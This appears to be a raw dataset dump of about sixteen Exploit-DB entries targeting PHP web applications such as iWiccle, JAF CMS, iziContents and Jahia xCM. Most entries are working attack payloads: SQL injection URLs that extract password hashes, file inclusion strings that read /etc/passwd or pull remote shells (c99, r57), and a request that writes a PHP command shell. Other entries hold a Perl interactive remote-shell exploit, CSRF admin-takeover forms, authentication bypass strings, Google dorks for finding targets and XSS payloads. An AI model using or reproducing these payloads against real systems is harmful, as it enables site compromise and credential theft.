deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9266
Description: iwiccle 1.01 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: SirGod

Exploit:
###########################################################################################
[+] iWiccle 1.01 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://www.wiccle.com/index.php?module=wiccle&show=download

[+] Local File Inclusion

 - PoC's

     http://127.0.0.1/[path]/index.php?module=../../../../../../bootsect.bak%00

     http://127.0.0.1/[path]/index.php?module=admin&show=../../../../../../bootsect.bak%00


[+] SQL Injection

 - PoC

   http://127.0.0.1/[path]/index.php?module=admin&show=users&area=manage_users&action=edit_user&member_id=null+union+all+select+1,2,3,4,concat_ws
(0x3a,member_username,member_password,member_hash),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+w_members+where+member_id=1--

############################################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #22841
Description: iXmail 0.2/0.3 - 'iXmail_NetAttach.php' File Deletion
Type: webapps
Platform: php
Date: 2003-06-26
Author: leseulfrog

Exploit:
source: https://www.securityfocus.com/bid/8046/info

A vulnerability has been reported for iXmail that may allow for the deletion of files. The vulnerability occurs due to insufficient sanitization of user-supplied input for certain URI parameters.

http://www.example.com/ixmail_netattach.php?file=ixmail_netattach.php
Exploit-DB #38927
Description: iy10 Dizin Scripti - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-12-10
Author: KnocKout

Exploit:
                .__        _____        _______                
                |  |__    /  |  |___  __\   _  \_______   ____ 
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/
                         _____________________________ 
                        /   _____/\_   _____/\_   ___ \  
                        \_____  \  |    __)_ /    \  \/ 
                        /        \ |        \\     \____ 
                       /_______  //_______  / \______  /
                               \/         \/         \/           
iy10 Dizin Scripti   => Multiple Vulnerabilities (CSRF & Authentication Bypass)
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Åžeker Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon
					  KedAns-Dz, b3mb4m
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : iy10 Dizin Scripti
|~Affected Version : All Version 
|~Software  : http://wmscripti.com/php-scriptler/iy10-dizin-scripti.html
|~RISK : High
|~Google Keyword :  "Sitenizi dizine eklemek iÃ§in tÄ±klayÄ±n !"

################## ++ CSRF Admin Password Change Exploit ++ ######################################

<html>
  <body>
    <form action="http://[TARGET]/admin/kullaniciayarlar.php" method="POST">
      <input type="hidden" name="kullaniciadi" value="knockout" />
      <input type="hidden" name="sifre" value="password" />
      <input type="hidden" name="Submit" value="Exploit!" />
	  <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

################# ++ SQL Injection with Authentication Bypass ++###########################################

http://[TARGET]/admin 
ID: 'or' 1=1
PW : 'or' 1=1

############################################################
Exploit-DB #7449
Description: iyzi Forum 1.0b3 - Database Disclosure
Type: webapps
Platform: php
Date: 2008-12-14
Author: Ghost Hacker

Exploit:
####################################################################################################
# iyzi Forum (db/iyziforum.mdb) Database Disclosure Vulnerability                                  #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Name Script : iyzi Forum                                                                      #
#[~] Download : http://www.iyziforum.com/                                                          #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/db/iyziforum.mdb                                                          #
#[~]Live Demo     &nb sp;                                                                          #
# http://www.iyziforum.com/demos/kJd32D33J11lOk6f7n2/db/iyziforum.mdb                              #
####################################################################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , AlpHaNiX , Qabandi                                                      #
# All Members Real-h.com and v4-team.net , All My Friends                                          #
####################################################################################################

# milw0rm.com [2008-12-14]
Exploit-DB #4441
Description: iziContents rc6 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-21
Author: irk4z

Exploit:
#                                      o      [bug]     /"*._         _        #
#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: iziContents <= RC6 (RFI/LFI) Multiple Remote Vulnerabilities          #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#   http://www.izicontents.com/download/iziContents1RC6.zip                    #
#                                                                              #
# greetz: cOndemned, kacper ;>                                                 #


# remote file inclusion:
 http://[site]/[path]/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/links/submit_links.php?rootdp=zZz&gsLanguage=http://[shell]? 
 
# local file inclusion:
 http://[site]/[path]/modules/poll/poll_summary.php?rootdp=zZz&admin_home=/etc/passwd%00
 http://[site]/[path]/include/db.php?rootdp=/etc/passwd%00
 
# remote file disclosure:
 http://[site]/[path]/include/tinymce/tiny_mce_gzip.php?theme=../../config.php%00

# milw0rm.com [2007-09-21]
Exploit-DB #11415
Description: Izumi 1.1.0 - Multiple Local File Inclusion / Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-02-12
Author: cr4wl3r

Exploit:
##################################################################
[+] Izumi <= 1.1.0 (RFI/LFI) Multiple Include Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://sourceforge.net/projects/izumi/files/
##################################################################

[+] Code :

##################################################################
[page.php]

require_once($dir_install . $dir_src . "common.php");
##################################################################

[+] Example :

##################################################################
[x] RFI :

  [Izumi_path]/src/page.php?dir_install=[Shell]

[x] LFI :

  [Izumi_path]/src/page.php?dir_src=[LFI%00]


[+] GreetZ : s3luruh 4n4k n4k4l j4l4n4n g0r0nt4l0    


[+] Note : Brb ngakak dolo. Wkwkwkwkwkwkwk
##################################################################
Exploit-DB #30452
Description: J! Reactions 1.8.1 - comPath Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-04
Author: Yollubunlar.Org

Exploit:
source: https://www.securityfocus.com/bid/25198/info

J! Reactions is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects J! Reactions 1.8.1; other versions may also be vulnerable.

http://www.example.com/administrator/components/com_jreactions/langset.php?comPath=Evil?
Exploit-DB #2895
Description: J-OWAMP Web Interface 2.1b - 'link' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-07
Author: 3l3ctric-Cracker

Exploit:
#!/usr/bin/perl
#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:http://www.av.it.pt/jowamp/index_files/JOWAMP_WebInterface_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page http://localhost/jowamp/login/register.php to register new users. 


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/JOWAMP_files/JOWAMP_ShowPage.php?link='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;


#Sub-Rountines
sub header()
{
print q{
********************************************************************************
Jowamp WebInterface v2.1  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
********************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl <jowamp fullpath> <Shell Location> <Shell Cmd>

<phorum-3.4.8a FULL PATH> - Path to site exp. www.site.com

<Shell Location> - Path to shell exp. www.evilhost.com/shell.txt

<Shell Cmd Variable> - Command variable for php shell

Example: perl exploit.pl http://www.site.com/jowamp/
**********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-07]
Exploit-DB #31564
Description: Jack (tR) Jax LinkLists 1.00 - 'jax_linklists.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-31
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28518/info

Jax LinkLists is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Jax LinkLists 1.00 is vulnerable; other versions may also be affected.

http://www.example.com/scripting/php/linklists/linklists/jax_linklists.php?do=list&list_id=0&language=german&cat="><script>alert()</script>
Exploit-DB #6555
Description: Jadu CMS for Government - 'recruit_details.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-24
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z -beenu- DON # 
#-OutLawz- P47tr1ck- FeDeReR- MAGE- JeTFyrE-FunctionSys-jappan #              
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l (Special thanks to congrallion)
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Jadu CMS for Government (recruit_details.php) Remote SQL Inj
#
#
# Vendor: http://www.jadu.co.uk/site/index.php
#
# 
#
###########################################################
#
# d0rk:inurl:site/scripts/recruit_details.php?id
# d0rk:inurl:"recruit_details.php?id=" 
#
###########################################################
 
  POC 1: 

	http://www.site.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12--

  POC 2:

	http://www.site.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12+from+JaduAdministrators--


###########################################################
#
#  Bug discovered : 24 Sep.2008
###########################################################

# milw0rm.com [2008-09-24]
Exploit-DB #7144
Description: Jadu Galaxies - 'categoryId' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-17
Author: ZoRLu

Exploit:
[~] powered by JaduÂ® Galaxies blind sql inj
[~]
[~] documents.php (categoryID) blind sql inj
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 17.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 45
[~]
[~] my target bug number: 100
[~]
[~] N0T: a.q bide kpss calIscaktIm : ( (
[~]
[~] -----------------------------------------------------------

exploit for demo:

http://www.jadu.co.uk/galaxies/site/scripts/documents.php?categoryID=2+and+substring(@@version,1,1)=4 ( true )

http://www.jadu.co.uk/galaxies/site/scripts/documents.php?categoryID=2+and+substring(@@version,1,1)=3 ( false )

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-17]
Exploit-DB #2474
Description: JAF CMS 4.0 RC1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-04
Author: ThE TiGeR

Exploit:
#===========================================================================================
#JAF CMS Remote file include (website)
#===========================================================================================
#
#Script name : JAF CMS
#
#Version : 4.0
#
#===========================================================================================
#Vulnerable Code :
#
# if(isset($category) || isset($id)) { include($website.$main_dir."forum.php"); return;}
#
#===========================================================================================
#Dork : powered by JAF CMS © 2004 - 2006
#
#Exploit :
#(1)
#http://www.site.com/[jmf_path]/module/forum/main.php?id=1&main_dir=http://www.milw0rm.com/index.php?&
#(2)
#http://www.site.com/[jmf_path]/module/forum/headlines.php?id=1&main_dir=http://www.milw0rm.com/index.php?&
#
#===========================================================================================
#
#Discoverd By : ThE TiGeR
#
#Contact : miro_tiger100[at]hotmail[dot]com
#
#===========================================================================================

/*
 * modified the authors GET request from
 * ?website=http://www.site.com/shell.txt?
 * to the current. /str0ke
 */

# milw0rm.com [2006-10-04]
Exploit-DB #15414
Description: JAF CMS 4.0 rc2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-04
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22665
Reference: http://www.htbridge.ch/advisory/shell_create__command_execution_in_jaf_cms.html
Product: JAF CMS
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ ) 
Vulnerable Version: 4.0 RC2
Vendor Notification: 21 October 2010 
Vulnerability Type: Shell create & command execution
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/module/log/vislog.php" script to properly sanitize user-supplied input, it's possible to create/read any file.

The following PoC is available:

creating shell:

http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+system(%24_GET%5b%27cmd%27%5d)%3b+%3f%3e&root=../../123.php%00


command execute:

http://[host]/123.php?cmd=ls 


Vulnerability ID: HTB22666
Reference: http://www.htbridge.ch/advisory/rfi_in_jaf_cms.html
Product: JAF CMS
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ )
Vulnerable Version: 4.0 RC2
Vendor Notification: 21 October 2010
Vulnerability Type: Remote File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/module/forum/main.php" & "/module/forum/forum.php" scripts to properly sanitize user-supplied input, it's possible to include any remote file if register_globals = On.

The following PoC is available:


http://[host]/module/forum/main.php?website=http://any_host/any_file%00
http://[host]/module/forum/forum.php?website=http://any_host/any_file%00
Exploit-DB #31549
Description: JAF CMS 4.0.0 RC2 - 'website' / 'main_dir' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-03-27
Author: XxX

Exploit:
source: https://www.securityfocus.com/bid/28476/info

JAF CMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

JAF CMS 4.0.0 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/forum.php?website=http://www.example2.com/c99.txt?
http://www.example.com/forum.php?main_dir=http://www.example2.com/c99.txt?
http://www.example.com/headlines.php?website=http://www.example2.com/erne.txt?
http://www.example.com/headlines.php?main_dir=http://www.example2.com/r57.txt?
http://www.example.com/main.php?website=http://www.example2.com/c99.txt?
http://www.example.com/main.php?main_dir=http://www.example2.com/erne.txt?
Exploit-DB #38683
Description: Jahia xCM - '/administration/' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-31
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/61571/info
 
Jahia xCM is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Jahia xCM 6.6.1.0 r43343 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/administration/?do=users&sub=search" method="post" name="main">
<input type="hidden" name="searchString" value="'><script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


<form action="http://www.example.com/administration/?do=users&sub=processCreate" method="post" name="main">
<input type="hidden" name="username" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:firstName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:lastName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:email" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:organization" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="actionType" value='save'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #38682
Description: Jahia xCM - '/engines/manager.jsp?site' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-31
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/61571/info

Jahia xCM is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Jahia xCM 6.6.1.0 r43343 is vulnerable; other versions may also be affected. 

http://www.example.com/engines/manager.jsp?conf=repositoryexplorer&site=%3C/script%3E%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E